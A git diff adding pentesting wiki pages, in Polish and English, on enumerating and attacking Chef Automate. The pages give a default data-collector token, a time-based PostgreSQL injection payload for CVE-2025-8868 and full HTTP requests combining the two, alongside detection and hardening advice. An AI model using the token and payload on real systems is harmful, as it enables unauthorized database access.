diff --git a/src/pentesting-ci-cd/chef-automate-security/README.md b/src/pentesting-ci-cd/chef-automate-security/README.md new file mode 100644 index 000000000..40bf56632 --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/README.md @@ -0,0 +1,18 @@ +# Bezpieczeństwo Chef Automate + +{{#include ../../banners/hacktricks-training.md}} + +## Czym jest Chef Automate + +Chef Automate to platforma do automatyzacji infrastruktury, zapewniania zgodności i dostarczania aplikacji. Udostępnia interfejs webowy (często Angular), który komunikuje się z backendowymi usługami gRPC przez gRPC-Gateway, oferując REST-like endpoints pod ścieżkami takimi jak /api/v0/. + +- Typowe komponenty backendu: gRPC services, PostgreSQL (często widoczne przez prefiksy pq: error), data-collector ingest service +- Mechanizmy uwierzytelniania: tokeny użytkownika/API oraz nagłówek tokena data collector x-data-collector-token + +## Enumeracja i ataki + +{{#ref}} +chef-automate-enumeration-and-attacks.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md new file mode 100644 index 000000000..211995d4c --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md @@ -0,0 +1,142 @@ +# Chef Automate Enumeration & Attacks + +{{#include ../../banners/hacktricks-training.md}} + +## Overview + +Ta strona zbiera praktyczne techniki to enumerate and attack Chef Automate instances, ze szczególnym naciskiem na: +- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses +- Abusing the x-data-collector-token authentication header when defaults are present +- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search + +> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services. + +## Recon: Architecture and Fingerprints + +- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...) +- API transport: REST to gRPC via gRPC-Gateway +- Responses may include grpc-metadata-content-type: application/grpc +- Database/driver fingerprints: +- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver +- Interesting Compliance endpoints (auth required): +- POST /api/v0/compliance/profiles/search +- POST /api/v0/compliance/scanner/jobs/search + +## Auth: Data Collector Token (x-data-collector-token) + +Chef Automate exposes a data collector that authenticates requests via a dedicated header: + +- Header: x-data-collector-token +- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild: +- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening. + +## API Schema Inference via Error-Driven Discovery + +gRPC-Gateway-backed endpoints often leak przydatne błędy walidacji, które opisują oczekiwany model żądania. + +For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with: + +- type: string (filter field identifier) +- values: array of strings + +Example request shape: +```json +{ +"filters": [ +{ "type": "name", "values": ["test"] } +] +} +``` +Niepoprawny JSON lub niewłaściwe typy pól zazwyczaj wywołują odpowiedzi 4xx/5xx z podpowiedziami, a nagłówki wskazują zachowanie gRPC-Gateway. Użyj tego do odwzorowania pól i zlokalizowania powierzchni wstrzyknięć. + +## Compliance API SQL Injection (CVE-2025-8868) + +- Affected endpoint: POST /api/v0/compliance/profiles/search +- Injection point: filters[].type +- Vulnerability class: time-based blind SQL injection in PostgreSQL +- Root cause: Brak właściwej parametryzacji/whitelistingu przy interpolowaniu pola type do dynamicznego fragmentu SQL (prawdopodobnie używanego do konstrukcji identyfikatorów/WHERE clauses). Spreparowane wartości w type są ewaluowane przez PostgreSQL. + +Działający time-based payload: +```json +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Uwagi dotyczące techniki: +- Zamknij oryginalny string pojedynczym apostrofem +- Dołącz podzapytanie wywołujące pg_sleep(N) +- Ponownie wejdź w kontekst string za pomocą ||, aby końcowy SQL pozostał składniowo poprawny niezależnie od tego, gdzie type jest osadzone + +### Dowód przez różnicę opóźnień + +Wyślij sparowane żądania i porównaj czasy odpowiedzi, aby zweryfikować wykonanie po stronie serwera: + +- N = 1 sekunda +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]} +``` +- N = 5 sekund +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Observed behavior: +- Czasy odpowiedzi skalują się zgodnie z pg_sleep(N) +- Odpowiedzi HTTP 500 mogą zawierać szczegóły zaczynające się od pq: podczas sondowania, potwierdzając ścieżki wykonania SQL + +> Wskazówka: Użyj walidatora czasowego (np. wielokrotne próby z porównaniem statystycznym), aby zmniejszyć szum i fałszywe pozytywy. + +### Impact + +Uwierzytelnieni użytkownicy — lub nieautoryzowani aktorzy wykorzystujący domyślny x-data-collector-token — mogą wykonywać dowolne zapytania SQL w kontekście PostgreSQL w Chef Automate, narażając poufność i integralność profilów zgodności, konfiguracji oraz telemetrii. + +### Affected versions / Fix + +- CVE: CVE-2025-8868 +- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories + +## Detection and Forensics + +- API layer: +- Monitoruj odpowiedzi 500 na /api/v0/compliance/profiles/search, gdzie filters[].type zawiera cudzysłowy ('), konkatenację (||) lub odwołania do funkcji takie jak pg_sleep +- Sprawdź nagłówki odpowiedzi pod kątem grpc-metadata-content-type, aby zidentyfikować przepływy gRPC-Gateway +- Database layer (PostgreSQL): +- Audytuj wywołania pg_sleep i błędy niepoprawnych identyfikatorów (często ujawniane z prefiksem pq: pochodzącym z Go pq drivera) +- Authentication: +- Loguj i generuj alerty przy użyciu x-data-collector-token, szczególnie znanych wartości domyślnych, w różnych ścieżkach API + +## Mitigations and Hardening + +- Immediate: +- Rotuj/wyłącz domyślne tokeny data collector +- Ogranicz ingress do endpointów data collector; wymuszaj silne, unikatowe tokeny +- Code-level: +- Parametryzuj zapytania; nigdy nie łącz fragmentów SQL przez konkatenację łańcuchów +- Ściśle ogranicz wartości type do białej listy po stronie serwera (enum) +- Unikaj dynamicznego składania SQL dla identyfikatorów/klauzul; jeśli wymagane jest dynamiczne zachowanie, użyj bezpiecznego cytowania identyfikatorów i jawnych białych list + +## Practical Testing Checklist + +- Sprawdź, czy x-data-collector-token jest akceptowany i czy znana wartość domyślna działa +- Zmapuj schemat żądań Compliance API, wywołując błędy walidacji i czytając komunikaty/nagłówki błędów +- Testuj SQLi w mniej oczywistych polach "identifier-like" (np. filters[].type), nie tylko w tablicach wartości lub polach tekstowych na najwyższym poziomie +- Używaj technik opartych na czasie z konkatenacją, aby utrzymać składniową poprawność SQL w różnych kontekstach + +## References + +- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate) +- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/) +- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868) +- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway) +- [pq PostgreSQL driver for Go](https://github.com/lib/pq) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index f056330cf..b16f7d106 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,5 +1,3 @@ # GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} - -{{#include ../../../banners/hacktricks-training.md}}